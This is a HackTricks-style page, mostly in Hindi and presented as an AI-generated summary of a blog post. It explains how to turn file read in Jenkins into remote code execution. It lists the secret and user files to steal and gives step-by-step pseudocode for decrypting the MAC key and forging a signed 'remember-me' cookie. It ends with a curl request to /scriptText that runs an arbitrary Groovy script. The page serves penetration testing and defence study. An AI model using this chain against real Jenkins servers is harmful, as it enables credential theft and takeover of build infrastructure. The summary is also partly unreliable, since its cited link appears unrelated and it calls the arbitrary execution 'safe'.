Jenkins Arbitrary File Read to RCE via "Remember Me"
Reading time: 4 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।
इस ब्लॉग पोस्ट में Jenkins में Local File Inclusion भेद्यता को RCE में बदलने का एक शानदार तरीका पाया जा सकता है: https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/
यह एक AI द्वारा बनाई गई संक्षेप है उस पोस्ट के भाग की जहां एक मनमाना कुकी का निर्माण RCE प्राप्त करने के लिए स्थानीय फ़ाइल पढ़ने का दुरुपयोग किया जाता है जब तक कि मेरे पास अपने स्वयं के संक्षेप को बनाने का समय न हो:
Attack Prerequisites
- Feature Requirement: "Remember me" सक्षम होना चाहिए (डिफ़ॉल्ट सेटिंग)।
- Access Levels: हमलावर को Overall/Read अनुमतियाँ चाहिए।
- Secret Access: प्रमुख फ़ाइलों से बाइनरी और पाठ्य सामग्री पढ़ने की क्षमता।
Detailed Exploitation Process
Step 1: Data Collection
User Information Retrieval
- प्रत्येक उपयोगकर्ता के लिए
$JENKINS_HOME/users/*.xml
से उपयोगकर्ता कॉन्फ़िगरेशन और रहस्यों तक पहुँचें: - Username
- User seed
- Timestamp
- Password hash
Secret Key Extraction
- कुकी पर हस्ताक्षर करने के लिए उपयोग किए जाने वाले क्रिप्टोग्राफिक कुंजियों को निकालें:
- Secret Key:
$JENKINS_HOME/secret.key
- Master Key:
$JENKINS_HOME/secrets/master.key
- MAC Key File:
$JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac
Step 2: Cookie Forging
Token Preparation
- Token Expiry Time की गणना करें:
tokenExpiryTime = currentServerTimeInMillis() + 3600000 // वर्तमान समय में एक घंटा जोड़ें
- Token के लिए डेटा को संयोजित करें:
token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey
MAC Key Decryption
- MAC Key File को डिक्रिप्ट करें:
key = toAes128Key(masterKey) // मास्टर कुंजी को AES128 कुंजी प्रारूप में परिवर्तित करें
decrypted = AES.decrypt(macFile, key) // .mac फ़ाइल को डिक्रिप्ट करें
if not decrypted.hasSuffix("::::MAGIC::::")
return ERROR;
macKey = decrypted.withoutSuffix("::::MAGIC::::")
Signature Computation
- HMAC SHA256 की गणना करें:
mac = HmacSHA256(token, macKey) // टोकन और MAC कुंजी का उपयोग करके HMAC की गणना करें
tokenSignature = bytesToHexString(mac) // MAC को हेक्साडेसिमल स्ट्रिंग में परिवर्तित करें
Cookie Encoding
- अंतिम कुकी उत्पन्न करें:
cookie = base64.encode(
username + ":" + tokenExpiryTime + ":" + tokenSignature
) // कुकी डेटा को Base64 में एन्कोड करें
Step 3: Code Execution
Session Authentication
- CSRF और सत्र टोकन प्राप्त करें:
/crumbIssuer/api/json
पर एक अनुरोध करें ताकिJenkins-Crumb
प्राप्त किया जा सके।- प्रतिक्रिया से
JSESSIONID
को कैप्चर करें, जिसका उपयोग याद रखने वाली कुकी के साथ किया जाएगा।
Command Execution Request
- Groovy Script के साथ POST अनुरोध भेजें:
curl -X POST "$JENKINS_URL/scriptText" \
--cookie "remember-me=$REMEMBER_ME_COOKIE; JSESSIONID...=$JSESSIONID" \
--header "Jenkins-Crumb: $CRUMB" \
--header "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "script=$SCRIPT"
- Groovy स्क्रिप्ट का उपयोग सिस्टम-स्तरीय कमांड या Jenkins वातावरण के भीतर अन्य संचालन को निष्पादित करने के लिए किया जा सकता है।
उदाहरण curl कमांड दिखाता है कि कैसे आवश्यक हेडर और कुकी के साथ Jenkins को अनुरोध भेजा जाए ताकि मनमाना कोड सुरक्षित रूप से निष्पादित किया जा सके।
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।